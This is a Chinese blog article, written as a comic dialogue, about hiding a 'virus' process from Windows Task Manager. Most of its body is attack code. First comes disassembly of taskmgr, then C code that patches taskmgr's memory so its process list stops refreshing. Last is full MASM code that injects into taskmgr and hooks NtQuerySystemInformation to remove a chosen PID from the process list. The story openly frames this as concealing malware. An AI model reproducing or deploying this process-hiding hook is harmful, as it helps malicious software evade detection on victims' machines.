[原創]和Taskmgr過不去篇(無厘頭版)
Hook入門級文章,主要想培養一下偶寫文章的感覺,老鳥無視…
我想看看技術文章能不能無厘頭的寫,如果效果不錯的話,準備更上一層-----
用我的原創漫畫表達。:)
(警告1:文章中有部分“限製級”詞語,請11歲以下弟弟妹妹誤入)
(警告2: 修正警告1,不是“誤入”,是“勿入”哦,我沒有做暗示哦…)
正義的hopy – 加菲
邪惡的hopy – 阿寶
時間: 終結者2018年
場景: 地下泡泡澡堂
故事: 純屬虛構
在一場殘酷的西紅柿大戰後,最終邪惡阿寶使用卑鄙無恥的招數輕鬆戰勝了單純
的加菲,於是哥倆一起去地下廢墟澡堂泡澡。在沉默了一陣之後加菲忽然問了阿寶
一個恐怖的問題……
加菲:……你說我們倆身上的毛哪個值錢…
阿寶:%##$%@#$%#@%#@,你想錢想瘋啦……
加菲:最近手頭比較緊,有沒有活接?
阿寶:嘿嘿……搞定一個任務,鈔票大大滴。
加菲(口水狀):什麼呀?
阿寶:老比最近打麻將輸我200多,賴賬不肯還……
加菲:不會吧…人家是首富哦…
阿寶:沒辦法呀,windows賠老嘍,我準備把他的命根子毀了……
加菲:你這個流氓,我不跟你玩了…
阿寶:什麼啊!我指的是他的windows,你想哪去了…
加菲(迅速岔開話題):今天晚上太陽好亮哦…
阿寶(畫外音):#@$%#@%,我們倆到底誰邪惡…
加菲:怎麼毀呀?
阿寶:我搞了一個宇宙超級大病毒程序,隻要運行30分鍾保準他的命根子玩蛋!
隻要30分鍾內不被windows taskmgr發現…
加菲:你傻啊?人家不會用其他進程查看工具嘛?
阿寶:說你不懂了吧,老比亂搞壟斷,windows和taskmgr捆死了,其他
進程工具沒法運行呀,嘿嘿…自掘死路…
加菲:這還不簡單,做個rootkit在內核層把病毒進程隱藏起來不就行了。
阿寶:進不去RING0,隻能在用戶層搞……,有沒有其他辦法…
加菲:你超級病毒都能寫出來,這個不會寫?????
阿寶(-_-b):少廢話,你要不要鈔票了…
加菲:這個…
一炷香的功夫過去了…
阿寶:你到底想好了沒啊?
加菲:taskmgr顯示進程信息的控件是SysListView32,我想可以截獲顯示每一行
的消息,然後忽略顯示病毒進程的那一條消息…
阿寶:好啊…做一個dll植入taskmgr,然後SysListView32子類化到dll中的一個
消息處理函數,過濾特定進程的消息…
加菲:沒成功…可以截獲和過濾消息,但顯示老是會多出來一行…(可能是我
實現方法有問題,請看我以前發布的程序)
阿寶:那怎麼辦啊?
加菲:要不然這樣,做一個進程文本修改器,類似遊戲修改器中的自動修改變量,
隻不過這個變量是一個進程名,隻要找到病毒進程名字的文本,就將成其他混淆視
聽的名字(svchost.exe)。
阿寶:8錯,查找時要注意同時修改UNICODE的字符串哦…
加菲:成功了,因為兩個進程同時要寫一個內容,所以極少數時間裏可能會造成
病毒進程名漏出馬腳…
阿寶:嗯…病毒名有時會閃一下…進程數還是增加了…能不能幹脆徹底刪除這個
進程名而不是將其改成其他名字呢?
加菲:這個…
阿寶(舔和路雪冰淇淋):搞得怎麼樣了,有什麼新花樣呢?
加菲:如果你的超級病毒運行之後,就不準taskmgr 運行起來,如果已經運行起來
就將其關掉…
阿寶:這個不行,太招人顯眼了…
加菲:把taskmgr僵掉…
阿寶:你以為你是林正英啊???怎麼僵呢???
加菲:我剛才沒事用IDA玩了一下taskmgr的body,發現一個好玩的
UpdateProcInfoArray過程哦,上代碼(省略無關部分):
public: long __thiscall CProcPage::UpdateProcInfoArray(void) proc near mov eax, dword_1016580 .text:0100CAD5 shr eax, 0Ah .text:0100CAD8 mov ecx, eax .text:0100CADA imul ecx, [ebp+var_1FC] .text:0100CAE1 mov [ebp+var_88], ecx .text:0100CAE7 mov ecx, eax .text:0100CAE9 imul ecx, [ebp+var_1F8] .text:0100CAF0 mov edx, eax .text:0100CAF2 imul edx, [ebp+var_1F0] .text:0100CAF9 mov [ebp+var_74], ecx .text:0100CAFC mov ecx, eax .text:0100CAFE imul ecx, [ebp+var_1F4] .text:0100CB05 mov [ebp+var_6C], edx .text:0100CB08 mov edx, eax .text:0100CB0A imul eax, [ebp+var_1B4] .text:0100CB11 imul edx, [ebp+var_1B8] .text:0100CB18 mov [ebp+var_7C], eax .text:0100CB1B add eax, edx .text:0100CB1D push edi .text:0100CB1E mov [ebp+var_78], eax .text:0100CB21 push 24h .text:0100CB23 lea eax, [ebp+var_F0] .text:0100CB29 push eax .text:0100CB2A push 15h .text:0100CB2C mov [ebp+var_70], ecx .text:0100CB2F mov [ebp+var_80], edx .text:0100CB32 mov __int64 g_MEMMax, ecx .text:0100CB38 mov dword_1016564, edi .text:0100CB3E call esi ; NtQuerySystemInformation(x,x,x,x) .text:0100CB40 test eax, eax .text:0100CB42 jge short loc_100CB4E .text:0100CB42 .text:0100CB44 .text:0100CB44 loc_100CB44: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+4Bj .text:0100CB44 ; CProcPage::UpdateProcInfoArray(void)+7Aj .text:0100CB44 mov eax, 80004005h .text:0100CB49 jmp loc_100CE7E .text:0100CB49 .text:0100CB4E ; --------------------------------------------------------------------------- .text:0100CB4E .text:0100CB4E loc_100CB4E: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+EEj .text:0100CB4E mov eax, dword_1016580 .text:0100CB53 shr eax, 0Ah .text:0100CB56 imul eax, [ebp+var_DC] .text:0100CB5D mov ecx, ebx .text:0100CB5F mov [ebp+var_84], eax .text:0100CB65 call CProcPage::GetProcessInfo(void) .text:0100CB65 .text:0100CB6A cmp eax, edi .text:0100CB6C mov [ebp+var_58], eax .text:0100CB6F jl loc_100CE64 .text:0100CB6F .text:0100CB75 mov [ebp+var_48], edi .text:0100CB75 .text:0100CB78 .text:0100CB78 loc_100CB78: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+1EEj .text:0100CB78 mov esi, [ebx+10h] .text:0100CB7B add esi, [ebp+var_48] .text:0100CB7E mov eax, [esi+44h] .text:0100CB81 cmp eax, edi .text:0100CB83 jnz short loc_100CB8E .text:0100CB83 .text:0100CB85 cmp [esi+4], edi .text:0100CB88 jz loc_100CC1D
加菲:注意 call CProcPage::GetProcessInfo(void) 這一行,進去看看:
public: long __thiscall CProcPage::GetProcessInfo(void) proc near .text:0100A6AF ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p .text:0100A6AF .text:0100A6AF var_4 = dword ptr -4 .text:0100A6AF .text:0100A6AF mov edi, edi .text:0100A6B1 push ebp .text:0100A6B2 mov ebp, esp .text:0100A6B4 push ecx .text:0100A6B5 push ebx .text:0100A6B6 push esi .text:0100A6B7 xor ebx, ebx .text:0100A6B9 push edi .text:0100A6BA mov edi, ds:GetProcessHeap() .text:0100A6C0 mov esi, ecx .text:0100A6C2 mov [ebp+var_4], ebx .text:0100A6C2 .text:0100A6C5 .text:0100A6C5 loc_100A6C5: ; CODE XREF: CProcPage::GetProcessInfo(void)+63j .text:0100A6C5 mov eax, [esi+10h] .text:0100A6C8 cmp eax, ebx .text:0100A6CA jz short loc_100A6F9 .text:0100A6CA .text:0100A6CC push ebx .text:0100A6CD push dword ptr [esi+14h] .text:0100A6D0 push eax .text:0100A6D1 push 5 .text:0100A6D3 call ds:NtQuerySystemInformation(x,x,x,x) .text:0100A6D9 cmp eax, ebx .text:0100A6DB jge short loc_100A71B .text:0100A6DB .text:0100A6DD cmp eax, 0C0000004h .text:0100A6E2 jnz short loc_100A723 .text:0100A6E2 .text:0100A6E4 mov eax, [esi+10h] .text:0100A6E7 cmp eax, ebx .text:0100A6E9 jz short loc_100A6F9 .text:0100A6E9 .text:0100A6EB push eax ; lpMem .text:0100A6EC push ebx ; dwFlags .text:0100A6ED call edi ; GetProcessHeap() .text:0100A6EF push eax ; hHeap .text:0100A6F0 call ds:HeapFree(x,x,x) .text:0100A6F6 mov [esi+10h], ebx .text:0100A6F6 .text:0100A6F9 .text:0100A6F9 loc_100A6F9: ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj .text:0100A6F9 ; CProcPage::GetProcessInfo(void)+3Aj .text:0100A6F9 add dword ptr [esi+14h], 1000h .text:0100A700 push dword ptr [esi+14h] ; dwBytes .text:0100A703 push ebx ; dwFlags .text:0100A704 call edi ; GetProcessHeap() .text:0100A706 push eax ; hHeap .text:0100A707 call ds:HeapAlloc(x,x,x) .text:0100A70D cmp eax, ebx .text:0100A70F mov [esi+10h], eax .text:0100A712 jnz short loc_100A6C5 .text:0100A712 .text:0100A714 mov [ebp+var_4], 8007000Eh .text:0100A714 .text:0100A71B .text:0100A71B loc_100A71B: ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj .text:0100A71B ; CProcPage::GetProcessInfo(void)+7Bj .text:0100A71B mov eax, [ebp+var_4] .text:0100A71E pop edi .text:0100A71F pop esi .text:0100A720 pop ebx .text:0100A721 leave .text:0100A722 retn
阿寶:喔歐...(移動廣告:3G時代...就說喔歐),這個比較明顯了,裏麵調用
了原生態API NtQuerySystemInformation(x,x,x,x)...
加菲:下麵偶來寫一個過程讓taskmgr僵住:
#define MAGIC_ADDR 0x100cb65 static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff}; bool stoptm(DWORD pid) { bool bSuccess = false; HANDLE ph = 0; if(!pid) { puts("taskmgr not run!"); goto QUIT; } ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if(!ph) { puts("can't open taskmgr!"); goto QUIT; } byte fixbin[sizeof(VerFlag)]; if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL)) { puts("read mem failed!"); goto QUIT; } if(memcmp(VerFlag,fixbin,sizeof(fixbin))) { puts("taskmgr isn't right ver!"); goto QUIT; } memset(fixbin,0x90,sizeof(fixbin)); if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL)) { puts("write mem failed!"); goto QUIT; } bSuccess = true; QUIT: if(ph) CloseHandle(ph); return bSuccess; }
阿寶:我好像能看懂了,將對應的調用語句NOP掉,從而taskmgr無法再刷新
進程列表了...但這個不能對應不同版本的taskmgr吧?
加菲:這個...那是當然...
阿寶:你能不能給我個最終解決辦法啊...
加菲:沒辦法了...隻有用各個版本通殺技了,HOOk NtQuerySystemInformation ,
然後改變其返回內容。要注意的是我們隻需要HOOK 第一個參數為5的調用,
即Query係統進程信息,其他都不用理會。NtQuerySystemInformation
獲取進程信息如果成功,將會返回一個數組,或者稱其為一個鏈表更準確。結構如下:
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //構成結構序列的偏移量;
ULONG ThreadCount; //線程數目;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime; //創建時間;
LARGE_INTEGER UserTime; //用戶模式(Ring 3)的CPU時間;
LARGE_INTEGER KernelTime; //內核模式(Ring 0)的CPU時間;
UNICODE_STRING ProcessName; //進程名稱;
KPRIORITY BasePriority; //進程優先權;
ULONG ProcessId; //進程標識符;
ULONG InheritedFromProcessId; //父進程的標識符;
ULONG HandleCount; //句柄數目;
ULONG Reserved2[2];
VM_COUNTERS VmCounters; //虛擬存儲器的結構,見下;
IO_COUNTERS IoCounters; //IO計數結構,見下;
SYSTEM_THREADS Threads[1]; //進程相關線程的結構數組,見下;
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
加菲:我要做的隻是在鏈表中查找需要隱藏進程的ID,然後將其剔除即可。
阿寶:怎麼剔除呢?
加菲:分2種情況,若PID出現在鏈表的的尾部則直接將上一個鏈表指向NULL,
否則需要將上一個結構的指針指向PID結構後麵一個結構,從而將其剔除,完整代碼如下:
.386 .model flat, stdcall option casemap:none .nocref .nolist include D:/work/masm32/include/windows.inc include D:/work/masm32/include/user32.inc include D:/work/masm32/include/kernel32.inc .list .listmacro .listmacroall IFNDEF UNICODE_STRING UNICODE_STRING struct _Length WORD ? MaximumLength WORD ? Buffer PWSTR ? UNICODE_STRING ends PUNICODE_STRING typedef ptr UNICODE_STRING ENDIF SPI struct NextOffset DWORD ? DWORD ? Times QWORD 6 dup(?) ImageName UNICODE_STRING <?> DWORD ? ProcessId DWORD ? Reserved DWORD 7 dup(?) SPI ends PSPI typedef ptr SPI .const szDll db "ntdll.dll",0 szQSI_func db "NtQuerySystemInformation",0 .code ;********************************************************** RT_BIN_START equ $ PID DWORD ? ;要隱藏進程的pid pQSI_func DWORD ? pQSI_Next DWORD ? pBuf DWORD ? pRetAddr DWORD ? pPreviousSPI PSPI 0 dwEBX DWORD ? ;ORGBIN byte 5 dup(?) FIXBIN byte 5 dup(?) RT_CODE_OFFSET equ $ - RT_BIN_START len0 textequ %RT_CODE_OFFSET % echo RT_CODE_OFFSET is len0 ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ myQSI_func proc mov ecx,ebx call @F @@: pop ebx sub ebx,offset @B jmp DOIT GoMaMa: mov eax,dword ptr [esp] mov dword ptr [esp + 4],eax pop eax ORGBIN byte 5 dup(?) jmp [ebx + pQSI_Next] DOIT: mov dword ptr [ebx + dwEBX],ecx mov dword ptr [ebx + pBuf],0 push dword ptr [esp] pop dword ptr [ebx + pRetAddr] .if dword ptr [esp + 4] == 5 push dword ptr [esp+8] pop dword ptr [ebx + pBuf] .endif call GoMaMa ;調用原始QSI成功且是獲取SPIs的調用 .if eax == 0 && dword ptr [ebx + pBuf] != 0 assume eax:PSPI mov ecx,dword ptr [ebx + PID] mov eax,dword ptr [ebx + pBuf] .while TRUE .if [eax].ProcessId == ecx .if [eax].NextOffset == 0 mov eax,[ebx + pPreviousSPI] mov [eax].NextOffset,0 .else mov ecx,[eax].NextOffset mov eax,[ebx + pPreviousSPI] add ecx,[eax].NextOffset mov [eax].NextOffset,ecx .endif .break .endif .break .if [eax].NextOffset == 0 push eax pop dword ptr [ebx + pPreviousSPI] add eax,[eax].NextOffset .endw assume eax:nothing .endif mov ecx,ebx mov ebx,[ebx + dwEBX] jmp [ecx + pRetAddr] ;ret myQSI_func endp ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ RT_BIN_END equ $ RT_BIN_LEN equ RT_BIN_END - RT_BIN_START T_BIN_LEN textequ %RT_BIN_LEN % echo RT_BIN_LEN is T_BIN_LEN ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ hookQSIfunc proc C uses ebx edi esi ph:HANDLE,pid:DWORD local bSuccess,pRTBin,oldProtect mov bSuccess,FALSE .if pid == 0 jmp QUIT .endif invoke VirtualProtect,offset RT_BIN_START,/ T_BIN_LEN,PAGE_EXECUTE_READWRITE,/ addr oldProtect .if !eax jmp QUIT .endif invoke LoadLibrary,addr szDll invoke GetProcAddress,eax,addr szQSI_func .if !eax jmp QUIT .endif mov pQSI_func,eax invoke VirtualAllocEx,ph,NULL,T_BIN_LEN,/ MEM_COMMIT,PAGE_EXECUTE_READWRITE .if !eax jmp QUIT .endif mov pRTBin,eax invoke ReadProcessMemory,ph,pQSI_func,/ addr ORGBIN,5,NULL .if !eax jmp QUIT .endif mov eax,pRTBin add eax,RT_CODE_OFFSET sub eax,pQSI_func sub eax,5 mov byte ptr [FIXBIN],0E9h mov dword ptr [FIXBIN+1],eax mov eax,pQSI_func add eax,5 mov pQSI_Next,eax push pid pop PID invoke WriteProcessMemory,ph,pRTBin,/ offset RT_BIN_START,T_BIN_LEN,NULL .if !eax jmp QUIT .endif invoke WriteProcessMemory,ph,pQSI_func,/ addr FIXBIN,5,NULL .if !eax jmp QUIT .endif mov bSuccess,TRUE QUIT: .if pRTBin ;invoke VirtualFreeEx,ph,pRTBin,/ ;T_BIN_LEN,MEM_RELEASE .endif mov eax,bSuccess ret hookQSIfunc endp ;********************************************************** end
阿寶:你好像是HOOK之後,直接將以上代碼拷貝到taskmgr.exe進程空間中,
等待其自動調用,是嗎?
加菲:沒錯,拷貝功能的函數即是hookQSIfunc,當然這要首先保證taskmgr在運行:
//檢查taskmgr.exe當前是否在運行 DWORD findtm(void) { DWORD pid = 0; PROCESSENTRY32 process = {.dwSize=sizeof(PROCESSENTRY32)}; HANDLE hss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); Process32First(hss,&process); while(Process32Next(hss,&process)) { if(!strcmp(process.szExeFile,"taskmgr.exe")) { pid = process.th32ProcessID; break; } } CloseHandle(hss); return pid; }
阿寶(暗笑):是這樣啊...嘿嘿
加菲(聚精會神地):這樣一來無論哪個版本的taskmgr,隻要獲取機製沒有變,
都可以搞定了,嗬嗬...終於搞定了...那個報酬怎麼算...(回頭),人呢???
阿寶(全裸速逃中...)
加菲:阿寶,你竟然敢欺騙偶的感情....
憤怒的加菲製造了N個加菲貓終結者T1300型追殺阿寶,至於阿寶能否逃脫,
這是另一個故事了哦。
(PS1:使用了電影分鏡頭劇本結構,適合改編為cartoon或flash之類的咚咚,結尾不是很好,修改中)
(PS2: 場景的選擇是從剛看完的終結者2018獲得的。)
最後更新:2017-04-02 03:42:36
上一篇:
基於xfire的web service開發例子
下一篇:
多核時代:並行程序設計探討(3)——Windows和Linux對決(多進程多線程)
Oracle智能之SQL診斷:SQL Tuning Advisor推薦執行計劃
大數據的力量
滁州市申報省級綠色生態城市綜合試點
iOS開發那些事--編寫OCUnit測試方法-邏輯測試方法
未能正確加載“VSTS for Database Professionals Sql Server Data-tier Application”包。
《Linux From Scratch》第二部分:準備構建 第五章:構建臨時文件係統- 5.24. Grep-2.21
分布式消息中間件Metaq發布1.4.3
機房收費係統之結賬與報表
iphone6密碼忘記了怎麼解鎖記得icloud
最新VMware Workstation 9.0 / Player 5.0 / Fusion 5.0/VMware Tools 9.2.0 不同平台正式版下載